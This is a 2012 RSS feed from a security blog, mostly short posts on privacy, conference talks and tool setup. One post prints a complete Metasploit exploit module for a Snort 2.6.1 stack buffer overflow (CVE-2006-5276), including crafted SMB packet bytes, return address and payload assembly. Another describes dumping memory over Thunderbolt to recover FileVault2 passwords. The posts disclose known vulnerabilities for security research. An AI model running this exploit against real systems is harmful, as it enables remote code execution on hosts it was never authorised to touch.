<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Break &#38; Enter</title>
	<atom:link href="http://www.breaknenter.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.breaknenter.org</link>
	<description></description>
	<lastBuildDate>Mon, 04 Feb 2013 02:51:56 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>What your phone company knows about you</title>
		<link>http://www.breaknenter.org/2012/07/what-your-phone-company-knows-about-you/</link>
		<comments>http://www.breaknenter.org/2012/07/what-your-phone-company-knows-about-you/#comments</comments>
		<pubDate>Wed, 25 Jul 2012 13:18:23 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[/dev/random]]></category>
		<category><![CDATA[Security News]]></category>
		<category><![CDATA[1984]]></category>
		<category><![CDATA[cell]]></category>
		<category><![CDATA[mobile security]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[surveillance]]></category>
		<category><![CDATA[tracking]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=831</guid>
		<description><![CDATA[Malte Spitz made an excellent talk on TED in June explaining the greater consequences of the EU data retention directive. Everybody that has a mobile phone should watch this video. Also, check out the excellent (and scary) visualization of the data from his cell phone over six months by the&#160;German&#160;newspaper Zeit.]]></description>
				<content:encoded><![CDATA[<p class="lead">Malte Spitz made an excellent <a href="https://www.ted.com/talks/malte_spitz_your_phone_company_is_watching.html">talk on TED in June</a> explaining the greater consequences of the EU data retention directive.</p>
<p>Everybody that has a mobile phone should watch this video. Also, check out the excellent (and scary) <a href="http://www.zeit.de/datenschutz/malte-spitz-data-retention/">visualization of the data from his cell phone over six months by the&nbsp;German&nbsp;newspaper Zeit</a>.</p>
<p>
<div class="embed-container"><iframe src="http://www.youtube.com/embed/_jtAnlejBs4" frameborder="0" allowfullscreen></iframe></div></p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/07/what-your-phone-company-knows-about-you/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Links to tools demonstrated at OWASP NY/NJ chapter meeting</title>
		<link>http://www.breaknenter.org/2012/05/links-to-tools-demonstrated-at-owasp-nynj-chapter-meeting/</link>
		<comments>http://www.breaknenter.org/2012/05/links-to-tools-demonstrated-at-owasp-nynj-chapter-meeting/#comments</comments>
		<pubDate>Fri, 18 May 2012 12:29:03 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[/dev/random]]></category>
		<category><![CDATA[Hacking & Pentesting]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=843</guid>
		<description><![CDATA[I spoke at the OWASP NY/NJ chapter meeting yesterday, and it was great fun. The presentation is available here. Some people asked me after the presentation for links to the tools I demonstrated, so here goes: Teensy &#8211; Can be bought at pjrc.com for $16 Social Engineering Toolkit &#8211; created by ReL1K and downloadable here Inception &#8211;...  <a href="http://www.breaknenter.org/2012/05/links-to-tools-demonstrated-at-owasp-nynj-chapter-meeting/" class="more-link" title="Read Links to tools demonstrated at OWASP NY/NJ chapter meeting">Read more &#187;</a>]]></description>
				<content:encoded><![CDATA[<p class="lead">I spoke at the <a href="http://www.meetup.com/OWASP-NYC/">OWASP NY/NJ chapter</a> meeting yesterday, and it was great fun. <a href="https://github.com/carmaa/presentations">The presentation is available here</a>.</p>
<p>Some people asked me after the presentation for links to the tools I demonstrated, so here goes:</p>
<ul>
<li>Teensy &#8211; Can be <a href="http://www.pjrc.com/teensy/">bought at pjrc.com for $16</a></li>
<li>Social Engineering Toolkit &#8211; created by ReL1K and <a href="https://www.secmaniac.com/download/">downloadable here</a></li>
<li>Inception &#8211; <a title="Inception" href="http://www.breaknenter.org/projects/inception/">read more about and try out my FireWire physical memory manipulation tool here</a> - for updates, <a href="https://twitter.com/#!/breaknenter">follow me on Twitter</a></li>
<li>Cold boot &#8211; the Princeton tools <a href="https://citp.princeton.edu/research/memory/">can be downloaded here</a>, I also highly recommend reading their <a href="http://citp.princeton.edu/pub/coldboot.pdf">paper</a></li>
</ul>
<p>Looking forward to the next meeting!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/05/links-to-tools-demonstrated-at-owasp-nynj-chapter-meeting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Video of Google Data Center physical and logical security</title>
		<link>http://www.breaknenter.org/2012/05/video-of-google-data-center-physical-and-logical-security/</link>
		<comments>http://www.breaknenter.org/2012/05/video-of-google-data-center-physical-and-logical-security/#comments</comments>
		<pubDate>Wed, 16 May 2012 15:11:02 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[/dev/random]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[cloud computing]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[physical access]]></category>
		<category><![CDATA[physical security]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=836</guid>
		<description><![CDATA[This video shows how Google provides physical and logical security for their data center customers. Quite interesting, and I especially enjoy the 80&#8242;s music in the background.]]></description>
				<content:encoded><![CDATA[<p class="lead">This video shows how Google provides physical and logical security for their data center customers.</p>
<div class="embed-container"><iframe width="640" height="360" src="http://www.youtube.com/embed/1SCZzgfdTBo" frameborder="0" allowfullscreen></iframe></div>
<p>Quite interesting, and I especially enjoy the 80&#8242;s music in the background.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/05/video-of-google-data-center-physical-and-logical-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Speaking session at OWASP NYC Chapter</title>
		<link>http://www.breaknenter.org/2012/05/speaking-session-at-owasp-nyc-chapter/</link>
		<comments>http://www.breaknenter.org/2012/05/speaking-session-at-owasp-nyc-chapter/#comments</comments>
		<pubDate>Mon, 14 May 2012 13:25:43 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[/dev/random]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[hardware hacks]]></category>
		<category><![CDATA[inception]]></category>
		<category><![CDATA[physical security]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[Public speaking]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=828</guid>
		<description><![CDATA[I&#8217;ll speak at the OWASP NYC Chapter at Bank of New York Mellon this Thursday, check the link for getting on the waiting list (at the time of writing, the meeting is fully booked). I&#8217;ll speak about hardware hacks (not lock picking, but rather how to use hardware to attack software), and present my tool Inception...  <a href="http://www.breaknenter.org/2012/05/speaking-session-at-owasp-nyc-chapter/" class="more-link" title="Read Speaking session at OWASP NYC Chapter">Read more &#187;</a>]]></description>
				<content:encoded><![CDATA[<p class="lead">I&#8217;ll speak at the <a href="http://www.meetup.com/OWASP-NYC/events/52333582/">OWASP NYC Chapter at Bank of New York Mellon</a> this Thursday, check the link for getting on the waiting list (at the time of writing, the meeting is fully booked).</p>
<p>I&#8217;ll speak about hardware hacks (not lock picking, but rather how to use hardware to attack software), and present my tool <a title="Inception" href="http://www.breaknenter.org/projects/inception/">Inception</a> among other things. I think it will be an entertaining talk, and hopefully raise the awareness about hardware-level attacks on software systems. See you there!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/05/speaking-session-at-owasp-nyc-chapter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Metasploit module for Snort vulnerability CVE-2006-5276</title>
		<link>http://www.breaknenter.org/2012/04/a-metasploit-module-for-snort-vulnerability-cve-2006-5276/</link>
		<comments>http://www.breaknenter.org/2012/04/a-metasploit-module-for-snort-vulnerability-cve-2006-5276/#comments</comments>
		<pubDate>Mon, 16 Apr 2012 12:54:36 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Tools & Methodology]]></category>
		<category><![CDATA[eip]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[smb]]></category>
		<category><![CDATA[snort]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=791</guid>
		<description><![CDATA[I&#8217;ve recently had some time on my hands (knee injury), so I decided to implement a couple of Metasploit modules. This first module allows remote attackers to execute arbitrary code by exploiting the Snort service via crafted SMB traffic. The vulnerability is due to a boundary error within the DCE/RPC preprocessor when reassembling SMB Write...  <a href="http://www.breaknenter.org/2012/04/a-metasploit-module-for-snort-vulnerability-cve-2006-5276/" class="more-link" title="Read A Metasploit module for Snort vulnerability CVE-2006-5276">Read more &#187;</a>]]></description>
				<content:encoded><![CDATA[<p class="lead">I&#8217;ve recently had some time on my hands (knee injury), so I decided to implement a couple of Metasploit modules.</p>
<p>This first module allows remote attackers to execute arbitrary code by exploiting the Snort service via crafted SMB traffic. The vulnerability is due to a boundary error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests, which may result a stack-based buffer overflow with a specially crafted packet sent on a network that is monitored by Snort 2.6.1 (yes, this is an old vulnerability):</p>
<pre><code class="ruby">##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Capture
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Stack-based buffer overflow in the DCE/RPC preprocessor in Snort',
      'Description' => %q{
        This module allows remote attackers to execute arbitrary code exploiting
        the Snort service via crafted SMB traffic. The vulnerability is caused 
        due to a boundary error within the DCE/RPC preprocessor when reassembling
        SMB Write AndX requests. This can be exploited to cause a stack-based
        buffer overflow via a specially crafted packet sent on a network that
        is monitored by Snort.

        Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS
        4.1, 4.5 and 4.6.

        Any host on the Snort network may be used as the remote host. The remote
        host does not need to be running the SMB service for the exploit to be
        successful.

        Original discovery by Neel Mehta, IBM Internet Security Systems X-Force.
      },
      'Author' => [ 'Carsten Maartmann-Moe <carsten at carmaa.com>' ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision$',
      'Platform' => 'win',
      'References' =>
        [
          [ 'OSVDB', '67988' ],
          [ 'CVE', 'CVE-2006-5276' ],
          [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py' ]
        ],
      'DefaultOptions'=>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload' =>
        {
          'Space' => 390,
          'BadChars' => "\x00",
          'DisableNops' => true,
        },
      'Targets' =>
        [
          [ 'Windows Universal',
            {
              'Ret' => 0x00407c01, # JMP ESP snort.exe
              'Offset' => 289  # The number of bytes before overwrite
            }
          ],
        ],
      'Privileged' => true,
      'DisclosureDate'=> 'Feb 19 2007',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(139),
        OptAddress.new('RHOST', [ true,  'A host on the Snort-monitored network' ]),
        OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address',
                                  nil ])
      ], self.class)

    deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
  end

  def exploit
    open_pcap

    shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)

    p = buildpacket(shost, rhost, rport.to_i)

    print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")

    capture_sendto(p, rhost)

    handler
  end

  def buildpacket(shost, rhost, rport)
    p = PacketFu::TCPPacket.new
    p.ip_saddr = shost
    p.ip_daddr = rhost
    p.tcp_dport = rport
    p.tcp_flags.psh = 1
    p.tcp_flags.ack = 1

    # SMB packet borrowed from http://exploit-db.com/exploits/3362

    # NetBIOS Session Service, value is the number of bytes in the TCP segment,
    # must be greater than the total size of the payload. Statically set.
    header = "\x00\x00\xde\xad"

    # SMB Header
    header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
    header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
    header << "\x00\x08\x30\x00"

    # Tree Connect AndX Request
    header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
    header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
    header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
    header << "\x3f\x3f\x3f\x3f\x3f\x00"

    # NT Create AndX Request
    header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
    header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
    header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
    header << "\x63\x00\x00\x00"

    # Write AndX Request #1
    header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
    header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
    header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
    header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
    header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
    header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
    header << "\x2b\x10\x48\x60\x02\x00\x00\x00"

    # Write AndX Request #2
    header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
    header << "\x00\x48\x00\x00\x00\xff\x01"

    tail = "\x00\x00\x00\x00\x49\x00\xee"

    # Return address
    eip = [target['Ret']].pack('V')

    # Sploit
    sploit = make_nops(10)
    sploit << payload.encoded

    # Padding (to pass size check)
    sploit << make_nops(1)

    # The size to be included in Write AndX Request #2, including sploit payload
    requestsize = [(sploit.size() + target['Offset'])].pack('v')

    # Assemble the parts into one package
    p.payload = header << requestsize << tail << eip << sploit
    p.recalc

    p
  end
end</code></pre>
<p>The module was recently accepted into the framework. <a href="https://github.com/rapid7/metasploit-framework">Download Metasploit from github</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/04/a-metasploit-module-for-snort-vulnerability-cve-2006-5276/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to install execstack on Ubuntu Hardy</title>
		<link>http://www.breaknenter.org/2012/04/how-to-install-execstack-on-ubuntu-hardy/</link>
		<comments>http://www.breaknenter.org/2012/04/how-to-install-execstack-on-ubuntu-hardy/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 15:32:38 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[Hacking & Pentesting]]></category>
		<category><![CDATA[Tools & Methodology]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=789</guid>
		<description><![CDATA[Execstack is great for exploit development tutorials and training on Linux operating systems, as it marks the stack as executable. To install it on Ubuntu 8.04 Hardy, issue the following command in a terminal: sudo apt-get install prelink]]></description>
				<content:encoded><![CDATA[<p class="lead">Execstack is great for exploit development tutorials and training on Linux operating systems, as it marks the stack as executable.</p>
<p>To install it on Ubuntu 8.04 Hardy, issue the following command in a terminal:</p>
<pre>sudo apt-get install prelink</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/04/how-to-install-execstack-on-ubuntu-hardy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Best SPAM ever?</title>
		<link>http://www.breaknenter.org/2012/04/best-spam-ever/</link>
		<comments>http://www.breaknenter.org/2012/04/best-spam-ever/#comments</comments>
		<pubDate>Sat, 07 Apr 2012 16:36:52 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[/dev/random]]></category>
		<category><![CDATA[Funny]]></category>
		<category><![CDATA[SPAM]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=782</guid>
		<description><![CDATA[/via Reddit]]></description>
				<content:encoded><![CDATA[<a href="http://cdn.breaknenter.org/wp-content/uploads/2012/04/20120407-124037.jpg"><img class="alignnone size-full" src="http://cdn.breaknenter.org/wp-content/uploads/2012/04/20120407-124037.jpg" alt="20120407-124037.jpg" /></a>
<p class="lead">/via <a href="http://www.reddit.com/r/funny/comments/rxs19/best_spam_ever/">Reddit</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/04/best-spam-ever/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPad 3 vs The New iPad: What Apple has learned from Don Draper</title>
		<link>http://www.breaknenter.org/2012/03/ipad-3-vs-the-new-ipad-what-apple-has-learned-from-don-draper/</link>
		<comments>http://www.breaknenter.org/2012/03/ipad-3-vs-the-new-ipad-what-apple-has-learned-from-don-draper/#comments</comments>
		<pubDate>Fri, 09 Mar 2012 14:14:03 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[/dev/random]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Don Draper]]></category>
		<category><![CDATA[iPad 3]]></category>
		<category><![CDATA[Mad Men]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[new iPad]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=771</guid>
		<description><![CDATA[WSJ ran a rather lengthy article yesterday about Apples newest tablet, the iPad 3. One of the things that struck me was the paragraph treating the new name of the iPad: Apple didn&#8217;t provide much explanation for its decision not to use a specific name—such as the much-rumored iPad 3 handle&#8211;which some branding experts said...  <a href="http://www.breaknenter.org/2012/03/ipad-3-vs-the-new-ipad-what-apple-has-learned-from-don-draper/" class="more-link" title="Read iPad 3 vs The New iPad: What Apple has learned from Don Draper">Read more &#187;</a>]]></description>
				<content:encoded><![CDATA[<p class="lead">WSJ ran a rather <a href="http://online.wsj.com/article/SB10001424052970204603004577267441821060940.html">lengthy article</a> yesterday about Apples newest tablet, the iPad 3.</p>
<p>One of the things that struck me was the paragraph treating the new name of the iPad:</p>
<blockquote><p>Apple didn&#8217;t provide much explanation for its decision not to use a specific name—such as the much-rumored iPad 3 handle&#8211;which some branding experts said could confuse purchasers. Mr. Schiller simply said that Apple broke from the convention &#8220;because we don&#8217;t want to be predictable.&#8221;</p></blockquote>
<p>What&#8217;s in a name, right?</p>
<p>But by giving the iPad the name the new iPad, Apple implicitly says that all other models of the iPad are the &#8220;old iPad&#8221;. This may seem like a bad idea at first, ousting loyal customers by degrading their devices from &#8220;iPad 2&#8243; to just plain &#8220;old&#8221;.</p>
<p>But from a marketing perspective, the new name makes perfect sense. It creates a natural desire to own the new product; if it isn&#8217;t the new iPad you own, it must be the old iPad. No one wants to own old devices. And there&#8217;s a solution to that, and that is paying a visit to the Apple Store.</p>
<p>This is not a blunder by Apple, it&#8217;s a marketing spin taken straight out of Don Draper&#8217;s notebook.</p>
<p>Maybe the guys in Cupertino have spent the last months recapping the seasons of Mad Men before the show reopens later this month. And maybe those &#8220;branding experts&#8221; mentioned in the WSJ article should, too.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/03/ipad-3-vs-the-new-ipad-what-apple-has-learned-from-don-draper/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fix VMware Workstation 8.0.2 on BackTrack 5 R2</title>
		<link>http://www.breaknenter.org/2012/02/fix-vmware-workstation8-0-2-on-backtrack-5-r2/</link>
		<comments>http://www.breaknenter.org/2012/02/fix-vmware-workstation8-0-2-on-backtrack-5-r2/#comments</comments>
		<pubDate>Tue, 28 Feb 2012 02:44:38 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[/dev/random]]></category>
		<category><![CDATA[Tools & Methodology]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[compile]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=756</guid>
		<description><![CDATA[Even though the official release date is not until March 1st, I upgraded BackTrack 5 to R2 today following this excellent guide. But after the full upgrade I found that VMware Workstation was not working. Ah, the fun of being an early adopter. Time to patch and recompile the sources  (thanks to Weltall for providing...  <a href="http://www.breaknenter.org/2012/02/fix-vmware-workstation8-0-2-on-backtrack-5-r2/" class="more-link" title="Read Fix VMware Workstation 8.0.2 on BackTrack 5 R2">Read more &#187;</a>]]></description>
				<content:encoded><![CDATA[<p class="lead">Even though the official release date is not until March 1st, I upgraded BackTrack 5 to R2 today <a href="http://www.backtrack-linux.org/backtrack/upgrading-to-backtrack-5-r2/">following this excellent guide</a>.</p>
<p>But after the full upgrade I found that VMware Workstation was not working. Ah, the fun of being an early adopter. Time to patch and recompile the sources  (thanks to <a href="http://weltall.heliohost.org/wordpress/2012/01/26/vmware-workstation-8-0-2-player-4-0-2-fix-for-linux-kernel-3-2-and-3-3/">Weltall</a> for providing the patch).</p>
<p>Open a terminal, and enter the following commands:</p>
<pre>prepare-kernel-sources
cd /tmp
wget <a href="http://weltall.heliohost.org/wordpress/wp-content/uploads/2012/01/vmware802fixlinux320.tar.gz" target="_blank">http://weltall.heliohost.org/wordpress/wp-content/uploads/2012/01/vmware802fixlinux320.tar.gz</a>
tar vxzf vmware802fixlinux320.tar.gz
./patch-modules_3.2.0.sh</pre>
<p>Voila. You should now be able to start VMware Workstation. Now update VMware tools in your VMware virtual machines, and you should be ready to go. Happy hacking!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/02/fix-vmware-workstation8-0-2-on-backtrack-5-r2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Video &#8211; Hacking OS X FileVault2 over Thunderbolt with Inception</title>
		<link>http://www.breaknenter.org/2012/02/video-hacking-os-x-filevault2-over-thunderbolt-with-inception/</link>
		<comments>http://www.breaknenter.org/2012/02/video-hacking-os-x-filevault2-over-thunderbolt-with-inception/#comments</comments>
		<pubDate>Thu, 23 Feb 2012 20:28:29 +0000</pubDate>
		<dc:creator>Carsten</dc:creator>
				<category><![CDATA[Hacking & Pentesting]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Tools & Methodology]]></category>
		<category><![CDATA[filevault2]]></category>
		<category><![CDATA[firewire]]></category>
		<category><![CDATA[inception]]></category>
		<category><![CDATA[mac os x]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.breaknenter.org/?p=741</guid>
		<description><![CDATA[I&#8217;ve created a short video showing how to attack OS X Lion with FileVault2 enabled using my tool, Inception. In the video, I attack a fully patched Mac OS X Lion machine with full-disk encryption enabled (FileVault2), while the machine is powered&#160;on and a user is logged in. Using Inception, I am able to dump...  <a href="http://www.breaknenter.org/2012/02/video-hacking-os-x-filevault2-over-thunderbolt-with-inception/" class="more-link" title="Read Video &#8211; Hacking OS X FileVault2 over Thunderbolt with Inception">Read more &#187;</a>]]></description>
				<content:encoded><![CDATA[<p class="lead">I&#8217;ve created a short video showing how to attack OS X Lion with FileVault2 enabled using my tool, <a title="Inception" href="http://www.breaknenter.org/projects/inception/">Inception</a>.</p>
<p>In the video, I attack a fully patched Mac OS X Lion machine with full-disk encryption enabled (FileVault2), while the machine is powered&nbsp;on and a user is logged in. Using Inception, I am able to dump the memory of the target, and use strings and grep to find the FileVault2 password.</p>
<p>If you are curious to understand ho this works, <a title="Adventures with Daisy in Thunderbolt-DMA-land: Hacking Macs through the Thunderbolt interface" href="http://www.breaknenter.org/2012/02/adventures-with-daisy-in-thunderbolt-dma-land-hacking-macs-through-the-thunderbolt-interface/">see my post</a> from a couple a weeks ago, or <a href="http://github.com/carmaa/inception">download the tool </a>and try for yourself.</p>
<div class="embed-container"><iframe src="http://www.youtube.com/embed/V1MBrwkBRAE" frameborder="0" width="640" height="360"></iframe></div>
<p>I&#8217;m sorry about the low quality, my media codec-fu is apparently weak today&#8230; I&#8217;ll post more videos showcasing other features of Inception soon. Stay tuned!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.breaknenter.org/2012/02/video-hacking-os-x-filevault2-over-thunderbolt-with-inception/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: basic (User agent is rejected)
Database Caching using disk: basic
Object Caching 962/1152 objects using disk: basic
Content Delivery Network via cdn.breaknenter.org

 Served from: www.breaknenter.org @ 2013-05-24 05:52:39 by W3 Total Cache -->